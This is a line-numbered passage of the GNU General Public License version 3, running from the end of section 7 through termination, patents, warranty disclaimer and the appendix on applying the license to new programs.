366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------